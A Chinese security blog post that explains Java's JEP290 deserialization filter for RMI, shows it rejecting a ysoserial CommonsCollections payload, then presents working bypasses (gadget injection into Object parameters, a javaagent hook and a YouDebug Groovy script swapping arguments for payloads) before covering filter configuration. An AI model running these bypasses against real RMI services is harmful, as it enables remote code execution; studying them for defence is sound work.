前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >JEP290攻防对抗

JEP290攻防对抗

作者头像
Al1ex
发布于 2021-07-21 08:54:49
发布于 2021-07-21 08:54:49
66500
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
JEP290简介

JEP290增强机制是在2016年提出的一个针对JAVA 9的一个新特性,用于缓解反序列化攻击,随后官方决定向下引进该增强机制,分别对JDK 6,7,8进行了支持:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Java SE Development Kit 8, Update 121 (JDK 8u121)
Java SE Development Kit 7, Update 131 (JDK 7u131)
Java SE Development Kit 6, Update 141 (JDK 6u141)

JEP290主要做了以下几件事:

  • 提供一个限制反序列化类的机制,白名单或者黑名单
  • 限制反序列化的深度和复杂度
  • 为RMI远程调用对象提供了一个验证类的机制
  • 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
JEP290限制

下面通过一个RMI示例来对JEP290的实际限制做一个简单的介绍:

hello.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String hello() throws RemoteException;
    String hello(String name) throws RemoteException;
    String hello(Object object) throws RemoteException;
}

HelloImpl.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
    }

    public String hello() throws RemoteException {
        return "hello world";
    }

    public String hello(String name) throws RemoteException {
        return "hello" + name;
    }

    public String hello(Object object) throws RemoteException {
        System.out.println(object);
        return "hello "+object.toString();
    }
}

RMIServer.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 1099;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
            // 创建一个服务
            Hello hello = new HelloImpl();
            // 服务命名绑定
            Naming.rebind(RMI_NAME, hello);

            System.out.println("启动RMI服务:" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

之后添加ysoserial.jar到Library,用于提供可用的Gadget:

之后使用JDK7u21启动RMIServer:

之后使用Ysoserial打CC1过去:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc

之后使用JDK8u271启动RMIServer:

之后使用Ysoserial打CC1过去:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 calc

发现并没有成功执行命令,错误信息如下所示,可见sun.reflect.annotation.AnnotationInvocationHandler被拒绝:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
十一月 30, 2020 3:25:28 下午 java.io.ObjectInputStream filterCheck
信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 297, ex: n/a

日志信息如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.io.InvalidClassException: filter status: REJECTED
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(Unknown Source)
        at sun.rmi.transport.StreamRemoteCall.executeCall(Unknown Source)
        at sun.rmi.server.UnicastRef.invoke(Unknown Source)
        at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.io.InvalidClassException: filter status: REJECTED
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:94)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:469)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:301)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
Caused by: java.io.InvalidClassException: filter status: REJECTED
        at java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1329)
        at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1994)
        at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1848)
        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2158)
        at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
        at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2403)
        at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2327)
        at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2185)
        at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)
        at java.io.ObjectInputStream.readObject(ObjectInputStream.java:501)
        at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:91)
        ... 14 mor
JEP290过滤

一个RMI的实现流程如下所示:

在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和RegistryImpl_Skel,在服务端的RegistryImpl_Skel类中,向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用,在这里跟进查看一番:在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和Regis

在readObject中又调用了readObject,之后继续跟进:

然后进入readObject0()

在readObject0()之中进入readOrdinaryObject()

继续进入readClassDesc()

之后进入readProxyDesc()

在readProxyDesc()中有filterCheck

进入filterCheck()之后先检查其所有接口,然后检查对象自身:

在这里调用了serialFilter.checkInput(),最终来到sun.rmi.registry.RegistryImpl#registryFilter,在这里由于白名单中不含有当前AnnotationInvocationHandler类,所以返回REJECTED

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if (!var2.isArray()) {
    return String.class != var2 && 
        !Number.class.isAssignableFrom(var2) && 
        !Remote.class.isAssignableFrom(var2) && 
        !Proxy.class.isAssignableFrom(var2) && 
        !UnicastRef.class.isAssignableFrom(var2) && 
        !RMIClientSocketFactory.class.isAssignableFrom(var2) && 
        !RMIServerSocketFactory.class.isAssignableFrom(var2) && 
        !ActivationID.class.isAssignableFrom(var2) && 
        !UID.class.isAssignableFrom(var2) 
        ?Status.REJECTED : Status.ALLOWED;
}
JEP290绕过
实现原理

在RMI远程方法调用过程中,方法参数需要先序列化,从本地JVM发送到远程JVM,然后在远程JVM上反序列化,执行完后再将结果序列化,发送回本地JVM,而本地的参数是我们可以控制的,如果向参数中注入gadget会怎么样?

我们在HelloImpl实现了三个hello()方法,分别是void、string、Object类型的参数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
    }

    public String hello() throws RemoteException {
        return "hello world";
    }

    public String hello(String name) throws RemoteException {
        return "hello" + name;
    }

    public String hello(Object object) throws RemoteException {
        System.out.println(object);
        return "hello "+object.toString();
    }
}

在客户端我们向Object参数类型注入cc5的gadget:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package RMI;

import ysoserial.payloads.CommonsCollections5;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import static RMI.RMIServer.RMI_NAME;

public class RMIClient {
    public static void  main(String[] args){
        try{
            //获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
            //获取所有注册的服务
            String[] list = registry.list();
            for (String i:list){
                System.out.println("已注册的服务:"+i);
            }
            
            //寻找RMI_Name对应的RMI实例
            Hello rt = (Hello) Naming.lookup(RMI_NAME);
            
            //调用Server的Hello()方法,并获取返回值
            String result1 = rt.hello();
            String result2 = rt.hello("Al1ex");
            String result3 = rt.hello(new CommonsCollections5().getObject("calc"));
            
            System.out.println(result1);
            System.out.println(result2);
            System.out.println(result3);
            
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

之后启动RMIServer:

之后执行RMIClient,发现可以成功执行载荷:

也就是说如果目标的RMI服务暴漏了Object参数类型的方法,我们就可以注入payload进去,那么其他的参数类型呢?在sun.rmi.server.UnicastRef#unmarshalValue中判断了远程调用方法的参数类型,如果不是基本类型,就进入readObject,之后的流程也走了filterCheck过滤:

由于攻击者可以完全控制客户端,因此他可以用恶意对象替换从Object类派生的参数(例如String),实现方法有:

  1. 将java.rmi软件包的代码复制到新软件包,然后在其中更改代码
  2. 调试器附加到正在运行的客户端,并在序列化对象之前替换对象
  3. 使用Javassist之类的工具更改字节码
  4. 通过实现代理来替换网络流上已经序列化的对象
RASP Hook

RASP(Runtime application self-protection)运行时应用自我保护,将自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击,使程序自身拥有自保护的能力,并且应用程序无需在编码时进行任何的修改,只需进行简单的配置即可

该方法的原理是通过hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个非Object的参数并将其改为Object的gadget,具体实现代码如下:

https://github.com/Afant1/RemoteObjectInvocationHandler

Step 1:下载代码修改

src\main\java\afanti\rasp\visitor\RemoteObjectInvocationHandlerHookVisitor.java的dnslog地址

Step 2:打包

Step 3:之运行RmiServer

Step 4:运行RmiClient,其中VM options参数填写以下内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
-javaagent:C:\Users\Hepta\Desktop\RemoteObjectInvocationHandler\target\rasp-1.0-SNAPSHOT.jar

虽然报错了,但是在DNSLog端成功收到请求:

PS:在JDK8u221版本可以,在最新版本JDK8u271版本无法执行,具体范围有待评估~

动态替换RMI

这里主要使用YouDebug来实现动态替换,原理和之前的RASP Hook一样都是先hook后替换来实现JEP290绕过,在实际场景中大多数接口是不提供接受任意类型对象作为参数的方法的,这时就需要动态替换RMI调用过程中传递的参数值:

Step 1:启动RMIServer

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package al1ex;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException {
        try {
            // 定义服务对象
            HelloService helloService = new HelloServiceImpl();
            // 获取注册器,指定查找端口
            Registry reg = LocateRegistry.createRegistry(9999);
            // 注册对象
            reg.bind("HelloService", helloService);
            System.out.println("HelloServiceImpl 已绑定到 Registry ......");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Step 2:将HelloService.java与RMIClient.java两个文件拷贝到test目录下,在该目录下执行以下命令,编译为class文件,并根据包名生成对应目录

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
javac -encoding UTF-8 -d . *.java

RMIClient.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package al1ex;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        //根据ip和端口获取Registry
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        //使用Registry获取远程对象的引用
        HelloService services = (HelloService) registry.lookup("HelloService");
        // 使用远程对象的引用调用对应的方法
        String res = services.sayHello("al1ex");
        System.out.println(res);
    }
}

HelloService.java

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package al1ex;

import java.rmi.RemoteException;

public interface HelloService extends java.rmi.Remote {
    //远程调用方法必须抛出RemoteException异常
    String sayHello(Object obj) throws RemoteException;
    void log(String msg) throws RemoteException;
}

Step 3:以支持远程调试的方式启动RMIClient,因为要使用ysoserial生成payload,所以要将其加入classpath,执行如下命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp ".;ysoserial.jar" al1ex.RMIClient

Step 4:利用YouDebug(http://youdebug.kohsuke.org/)调试器来动态修改参数,YouDebug是一个支持Groovy脚本调试器,可以在java.rmi.server.RemoteObjectInvocationHandler类的invokeRemoteMethod方法中设置断点来修改传递的参数值,如下Groovy脚本即可完成该操作

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// 使用的ysoserial中的payload名称
def payloadName = "CommonsCollections6";
//执行的命令
def payloadCommand = "calc";
//替换的参数值
def needle = "al1ex"
 
println "Loaded..."
 
// set a breakpoint at "invokeRemoteMethod", search the passed argument for a String object
// that contains needle. If found, replace the object with the generated payload
vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {
  // make sure that the payload class is loaded by the classloader of the debugee
  vm.loadClass("ysoserial.payloads." + payloadName);
  println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"
 
  // get the Array of Objects that were passed as Arguments
  delegate."@2".eachWithIndex { arg,idx ->
    println "[+] Argument " + idx + ": " + arg[0].toString();
    if(arg[0].toString().contains(needle)) {
      println "[+] Needle " + needle + " found, replacing String with payload" 
      def payload = vm._new("ysoserial.payloads." + payloadName);
      def payloadObject = payload.getObject(payloadCommand)
     
      vm.ref("java.lang.reflect.Array").set(delegate."@2",idx, payloadObject);
      println "[+] Done.."  
    }
  }
}

之后执行以下命令即可:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar youdebug-1.6.jar -socket 127.0.0.1:8000 barmitzwa.groovy
JEP290拓展
全局过滤器

通过系统属性或配置文件配置全局过滤器:

  • 系统属性:jdk.serialFilter(通过命令行参数"-Djdk.serialFilter="来设置)
  • 配置文件:jdk.serialFilter(位于%JAVA_HOME%/conf/security/java.properties)

例如,我们可以通过以下设置禁止反序列化org.apache.commons.collections包下包括所有子包中的所有类:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
jdk.serialFilter=!org.apache.commons.collections.**

以下是常见的限制属性:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
- maxdepth=value   // the maximum depth of a graph
- maxrefs=value   // the maximum number of the internal references
- maxbytes=value   // the maximum number of bytes in the input stream
- maxarray=value    // the maximum array size allowed

匹配时类/包模式接受星号(*)、双星号(**)、点(.),以及正斜杠(/)符号,下面是一些可能发生的模式场景:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// this matches a specific class and rejects the rest
"jdk.serialFilter=org.example.Vehicle;!*" 

 // this matches all classes in the package and all subpackages and rejects the rest 
- "jdk.serialFilter=org.example.**;!*" 

// this matches all classes in the package and rejects the rest 
- "jdk.serialFilter=org.example.*;!*" 

 // this matches any class with the pattern as a prefix
- "jdk.serialFilter=*;
内置过滤器

用于RMI注册表和分布式垃圾收集(DGC),这两个内置过滤器均采用白名单方式,仅允许对特定类进行反序列化:

RMIRegistryImpl:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java.lang.Number
java.rmi.Remote
java.lang.reflect.Proxy
sun.rmi.server.UnicastRef
sun.rmi.server.RMIClientSocketFactory
sun.rmi.server.RMIServerSocketFactory
java.rmi.activation.ActivationID
java.rmi.server.UID

DGCImpl:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease

除了这些类之外,用户还可以使用sun.rmi.registry.registryFilter和sun.rmi.transport.dgcFilter系统或安全属性添加他们自己的自定义筛选器,其属性模式语法如前一节所述。

自定义过滤器

通过实现ObjectInputFilter接口可以创建自定义过滤器,需重写checkInput(FilterInfo filterInfo)方法如下,该过滤器只允许反序列化String类型的对象,其余类型对象都会REJECTED:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
class MyFilter implements ObjectInputFilter {
    final Class<?> clazz = String.class;
    public ObjectInputFilter.Status checkInput(FilterInfo filterInfo) {
        if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) {
            return Status.ALLOWED;
        } else {
            return Status.REJECTED;
        }
    }
}

在JDK9中可以使用ObjectInputStream.setObjectInputFilter(ObjectInputFilter filter)方法设置自定义过滤器,老版本中可以使用ObjectInputFilter.Config.setObjectInputFilter(ois,new VehicleFilter())方法

参考链接

https://y4er.com/post/bypass-jep290

https://access.redhat.com/blogs/766093/posts/3135411

https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290

https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【mybatis之批量更新】
MySQL没有提供直接的方法来实现批量更新,但可以使用case when语法来实现这个功能。
用户5640963
2019/07/26
1.7K0
Mybatis中的动态sql语句 if标签 where标签 foreach标签 sql标签
传入多个 id 查询用户信息,用下边两个 sql 实现: SELECT * FROM USERS WHERE username LIKE ‘%张%’ AND (id =10 OR id =89 OR id=16)
韦恩少爷的背
2020/02/24
5.6K0
Mybatis批量操作解析
我们在项目中会有一些批量操作的场景,比如导入文件批量处理数据的情况(批量新增商户、批量修改商户信息),当数据量非常大,比如超过几万条的时候,在Java代码中循环发送SQL到数据库执行肯定是不现实的,因为这个意味着要跟数据库创建几万次会话。即使在同一个连接中,也有重复编译和执行SQL的开销。 例如循环插入10000条(大约耗时3秒钟)∶
向着百万年薪努力的小赵
2022/12/02
1K0
Mybatis批量操作解析
Mybatis批量操作
Mybatis常会出现批量操作,如批量查询,批量插入,批量修改(replace into)。批量操作要比循环执行效率提升很多,这里对mybatis的批量操作做一个总结讲解。
逝兮诚
2019/10/30
2.4K0
Mybatisd对MySQL批量插入、批量更新及批量删除语句
#{item.name,jdbcType=VARCHAR},
BUG弄潮儿
2022/06/30
3.6K0
深入解析 MyBatis 中的 <foreach> 标签:优雅处理批量操作与动态 SQL
在当今的Java应用程序开发中,数据库操作是一个不可或缺的部分。MyBatis作为一款颇受欢迎的持久层框架,为我们提供了一种优雅而高效的方式来管理数据库操作。在MyBatis的众多特性中,<foreach>标签无疑是一个强大的工具,它使得在SQL语句中进行动态循环迭代变得轻而易举。本文将带您深入探索MyBatis中的<foreach>标签,揭示其背后的原理和用法。
修己xj
2023/08/25
1.4K0
深入解析 MyBatis 中的 <foreach> 标签:优雅处理批量操作与动态 SQL
MyBatis动态SQL
传统的使用JDBC的方法,相信大家在组合复杂的的SQL语句的时候,需要去拼接,稍不注意哪怕少了个空格,都会导致错误。MyBatis的动态SQL功能正是为了解决这种问题, 其通过 if、choose、when、otherwise、trim、where、set、foreach和bind等9种标签,可组合成非常灵活的SQL语句,从而提高开发人员的效率。
用户10358987
2024/04/23
1710
MyBatis处理批量删除
MyBatis是一种流行的Java持久化框架,提供了许多方便的操作数据库的功能。在许多场景下,我们需要执行批量删除操作,以便更快地删除大量数据。
堕落飞鸟
2023/05/15
3.7K0
mybatis.5.动态SQL
1.动态SQL,解决关联sql字符串的问题,mybatis的动态sql基于OGNL表达式
张哥编程
2024/12/17
1190
MyBatis配置动态SQL语句
在 MyBatis 的 SQL映射文件中,有时候需要根据一些查询条件,来选择不同的SQL语句,如果每一个场景都重写SQL,很显然效率没有很高,而 MyBatis 的动态SQL很好的解决了这种问题,根据条件动态的处理 SQL, 特别简单的说就是,写一次SQL,但是根据分支等的跳转,在多个场景下也可以使用,例如:
BWH_Steven
2020/02/20
9170
mybatis使用in语句,拼接逗号的使用、拼接sql语句实现批量插入、批量更新的案例处理
里面的变量,ids代表是一个list的string类型的,id代表循环里面的自定义变量。and business_id代表的是查询语句里面的sql语句。
小马哥学JAVA
2023/02/01
2.7K0
Mybatis插入/删除批处理
文章作者:Tyan 博客:noahsnail.com  |  CSDN  |  简书
Tyan
2022/05/09
7110
MyBatis 如何构造动态 SQL 语句
  以前看过一个本书叫《深入浅出 MFC 》,台湾 C++ 大师写的一本书。在该书中写道这样一句话,“勿在浮沙筑高台”,这句话写的的确对啊。编程很多语言虽然相同,但是真正做还是需要认真的学习,如果只是想着按想像着来,真的是会走很多弯路,浪费很多时间。
星哥玩云
2022/08/16
6150
干货 | MyBatis的动态SQL
本文主要根据自己demo案例,详细介绍动态SQL的使用。基于官网,但比官网更详细。
子乾建建-Jeff
2020/06/29
1K0
干货 | MyBatis的动态SQL
MyBatis 构造动态 SQL 语句
  以前看过一个本书叫《深入浅出 MFC》,台湾 C++ 大师写的一本书。在该书中写到这样一句话,“勿在浮沙筑高台”,这句话写的的确对啊。编程很多语言虽然相通,但是真正做还是需要认真的学习,如果只是想着按想像着来,真的是会走很多弯路,浪费很多时间。
码农UP2U
2020/08/26
7280
Mybatis 中 foreach 用法
●item:表示集合中每一个元素进行迭代时的别名, ●index:指 定一个名字,用于表示在迭代过程中,每次迭代到的位置, ●open:表示该语句以什么开始, ●separator:表示在每次进行迭代之间以什么符号作为分隔 符, ●close:表示以什么结束。
赵哥窟
2018/12/13
2.1K0
MyBatis——动态SQL总结
MyBatis的动态SQL是基于OGNL表达式的,它可以帮助我们方便的在SQL语句中实现某些逻辑。 MyBatis中用于实现动态SQL的元素主要有:
全栈程序员站长
2022/09/09
7090
MyBatis操作Oracle批量插入 ORA-00933: SQL 命令未正确结束
最近在使用MyBatis操作Oracle数据库的时候,进行批量插入数据,思路是封装一个List集合通过Myabtis
Arebirth
2019/09/24
2.9K0
MyBatis操作Oracle批量插入 ORA-00933: SQL 命令未正确结束
Mybatis:动态sql
动态 SQL 是 MyBatis 的强大特性之一。如果你使用过 JDBC 或其它类似的框架,你应该能理解根据不同条件拼接 SQL 语句有多痛苦,例如拼接时要确保不能忘记添加必要的空格,还要注意去掉列表最后一个列名的逗号。利用动态 SQL,可以彻底摆脱这种痛苦。
冷环渊
2021/10/19
6430
MyBatis操作Oracle批量插入 ORA-00933: SQL 命令未正确结束
最近在使用MyBatis操作Oracle数据库的时候,进行批量插入数据,思路是封装一个List集合通过Myabtis
星哥玩云
2022/08/18
3.6K0
MyBatis操作Oracle批量插入 ORA-00933: SQL 命令未正确结束
推荐阅读
相关推荐
【mybatis之批量更新】
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验